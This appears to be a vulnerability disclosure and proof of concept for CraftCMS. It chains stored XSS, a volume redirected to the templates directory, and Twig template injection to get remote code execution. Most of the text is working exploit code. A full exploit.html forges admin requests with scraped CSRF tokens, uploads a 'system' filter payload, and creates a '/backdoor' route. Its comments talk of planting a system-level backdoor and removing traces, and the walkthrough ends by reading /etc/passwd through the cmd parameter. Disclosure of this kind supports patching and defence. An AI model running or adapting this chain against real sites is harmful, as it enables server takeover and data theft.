Found by 0xFFF member crypto
Overview:
CraftCMS allows users to upload files via its Asset field. But the storage feature known as volume within Craft CMS can be configured to point to any directory. This ability can be exploited to upload a twig template to the templates directory. By pointing a route to the uploaded malicious twig template, we get a successful Server Side Template Injection. Using filters, we can get out of the twig sandbox and get an Arbitrary Code Execution.
Proof-of-Concept:
The following files are used within this demonstration:
- exploit.html – the PoC containing XSS payload to pop a shell
- testpage.twig – the malicious twig template for SSTI
- entrypage.twig – a twig template to show the link to the XSS payload
Note that any XSS on the website (even outside of the craftCMS installation itself, as long as it’s triggering within same DOM context, can lead to the RCE being triggered.
testpage.twig:
{% macro errorList(errors) %}
{% if errors %}
<ul class="errors">
{% for error in errors %}
<li>{{ error }}</li>
{% endfor %}
</ul>
{% endif %}
{% endmacro %}
{% from _self import errorList %}
<form method="post" accept-charset="UTF-8" enctype="multipart/form-data">
{{ csrfInput() }}
<input type="hidden" name="action" value="guest-entries/save">
<input type="hidden" name="sectionId" value="2">
<input type="hidden" name="enabled" value="1">
{{ redirectInput('{uri}') }}
<label for="title">Title</label>
<input id="title" type="text" name="title"
{%- if entry is defined %} value="{{ entry.title }}"{% endif -%}>
{% if entry is defined %}
{{ errorList(entry.getErrors('title')) }}
{% endif %}
<input type="file" name="fields[asset]">
<input type="submit" value="Publish">
</form>
entrypage.twig:
<h1>{{entry.title}}</h1>
{% set rel = entry.asset.one() %}
{% if rel %}
<p><a href="{{ rel.url }}">{{ rel.filename }}</a></p>
{% endif %}
exploit.html:
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script>
// usage: exploitRCE()
function exploitRCE(
adminPanelUrl = '/index.php?p=admin/',
adminPanelDefaultUrl = '/admin/',
backdoor = 'backdoor',
twigTemplateExt = "text/html",
twigRCEPayload = `<p>{{ ([craft.request.getQuery('cmd')] | filter('system'))[0] }}</p>`,
twigTemplateName = "template.html"
) {
scrapeData = function(featurePath, selector, callback, fallback) {
$.get(featurePath, function (data) {
callback($(selector, data));
}).fail(fallback);
}
exploitCsrf = function(featurePath, callback, fallback) {
scrapeData(featurePath, "input[name=CRAFT_CSRF_TOKEN]", function(data) {
callback($(data[0]).val());
}, fallback);
}
// create a volume
exploitCsrf(adminPanelDefaultUrl + 'settings/assets/volumes/new', function(csrf) {
payload = "CRAFT_CSRF_TOKEN=" + csrf
+ "&action=volumes%2Fsave-volume"
+ "&redirect=e4acb1794adacc0aa0287b400df7cde18df030328e74447f4bd25d9e360a12a6settings%2Fassets"
+ "&name=maintenance-backups-temporary-directory"
+ "&handle=maintenanceBackupsTemporaryDirectory"
+ "&hasUrls="
+ "&url="
+ "&type=craft%5Cvolumes%5CLocal"
+ "&types%5Bcraft%5Cvolumes%5CLocal%5D%5Bpath%5D=%40config%2F..%2Ftemplates"
+ "&elementPlacements="
+ "&elementPlacements%5BContent%5D%5B%5D=izg2wreKxs"
+ "&elementConfigs%5Bizg2wreKxs%5D=%7B%22type%22%3A%22craft%5C%5Cfieldlayoutelements%5C%5CTitleField%22%2C%22autocomplete%22%3Afalse%2C%22class%22%3Anull%2C%22size%22%3Anull%2C%22name%22%3Anull%2C%22autocorrect%22%3Atrue%2C%22autocapitalize%22%3Atrue%2C%22disabled%22%3Afalse%2C%22readonly%22%3Afalse%2C%22title%22%3Anull%2C%22placeholder%22%3Anull%2C%22step%22%3Anull%2C%22min%22%3Anull%2C%22max%22%3Anull%2C%22requirable%22%3Afalse%2C%22id%22%3Anull%2C%22containerAttributes%22%3A%5B%5D%2C%22inputContainerAttributes%22%3A%5B%5D%2C%22labelAttributes%22%3A%5B%5D%2C%22orientation%22%3Anull%2C%22label%22%3Anull%2C%22instructions%22%3Anull%2C%22tip%22%3Anull%2C%22warning%22%3Anull%2C%22width%22%3A100%7D"
$.ajax({
url: adminPanelUrl + 'settings/assets/volumes/new',
type: 'POST',
data: payload,
success: function(data) {
// volume created successfully, now upload the twig template
exploitCsrf(adminPanelDefaultUrl + 'assets/maintenanceBackupsTemporaryDirectory', function (csrf) {
scrapeData(adminPanelDefaultUrl + 'assets/maintenanceBackupsTemporaryDirectory', "#sidebar a[data-volume-handle='maintenanceBackupsTemporaryDirectory']", function (rawData) {
fd = new FormData();
file = new Blob([twigRCEPayload], { name: twigTemplateName, lastModified: new Date().getTime(), webkitRelativePath: "", size: 33, type: twigTemplateExt });
fd.append('assets-upload', file, twigTemplateName);
fd.append('folderId', $(rawData[0]).attr('data-folder-id'));
fd.append('CRAFT_CSRF_TOKEN', csrf);
$.ajax({
url: adminPanelUrl + 'actions/assets/upload',
type: 'post',
processData: false,
contentType: false,
dataType: 'json',
data: fd,
success: function(response){
if(response.suggestedFilename) {
// Conflict in file name
twigTemplateName = response.suggestedFilename;
}
if(response.assetId) {
// payload injected successfully, final step create a backdoor url
// missing CSRF token on this endpoint, but just in case if there is a fix to this CSRF,
exploitCsrf(adminPanelDefaultUrl + 'settings/routes', function (csrf) {
// check if route already exists at given endpoint
scrapeData(adminPanelDefaultUrl + 'settings/routes', '.route', function(rawData) {
$(rawData).each(function(i, el) {
if(backdoor.trim() === $(el).find('.uri-container span.uri').text().trim()) {
// route already exists, creating a random route
backdoor = backdoor + parseInt(Math.random() * 10 ** 13);
}
});
$.ajax({
url: adminPanelUrl + 'actions/routes/save-route',
type: 'post',
headers: {
Accept : "application/json; charset=utf-8",
},
data: "uriParts%5B0%5D="+ encodeURIComponent(backdoor) +"&template="+ twigTemplateName +"&CRAFT_CSRF_TOKEN=" + csrf,
success: function (data) {
if(data.success) {
// Route create successfully, final step, clear the cache
exploitCsrf(adminPanelDefaultUrl + 'utilities/clear-caches', function (csrf) {
// invalidate cache
$.ajax({
url: adminPanelUrl + 'utilities/invalidate-tags',
type: 'post',
data: 'action=utilities%2Finvalidate-tags&CRAFT_CSRF_TOKEN='+ csrf
+'&tags%5B%5D=graphql&tags%5B%5D=template',
success: function (response) {
if(response.success) {
// Payload injection complete, call backdoor to ping server about its existence
$.ajax({
url: adminPanelUrl + 'actions/utilities/clear-caches-perform-action',
type: 'post',
data: 'action=utilities%2Fclear-caches-perform-action'
+ '&CRAFT_CSRF_TOKEN='+ csrf
+'&caches=*',
success: function (response) {
if(response.success) {
// Payload injection complete, call backdoor to ping about its existence
$.get(document.location.origin + '/' + backdoor + '?cmd=id', function () {
// successful exploitation, we can now upload a system level backdoor and remove the footprints
});
}
}
});
}
}
});
});
}
}
});
});
})
}
}
});
});
});
}
});
});
}
exploitRCE();
</script>
So, here’s what’s happening:
- Attacker uploads malicious twig template, resulting in SSTI
- Attacker then uploads exploit.html
Once exploit.html is uploaded it should take you to the entry’s page where the link of the uploaded html file is visible. You can now trigger the XSS by visiting the link after logging in to the admin page.
- Admin views exploit.html, triggering the XSS
- payload in exploit.html executes, which then does the following:
- It creates a volume and points it to
@config../templates. This is done so that we can upload the file to the templates directory. - Uploads an svg file containing twig template which is allowed to be uploaded by default. The code within curly braces survives the SVG/XML Sanitization.
- Creates
/backdoorroute that loads the svg file which contains the twig template. There is another bug here. The form to create route is missing CSRF token which can allow an attacker to create routes by exploiting CSRF. But we already have an XSS so it is not interesting for this one. - In the end, exploit removes the cache. (This should not be required but just in case).
- You can now visit the shell’s route and run commands via
cmdquery parameter ie.example.com/backdoor?cmd=cat%20/etc/passwd
Video Proof-of-Concept: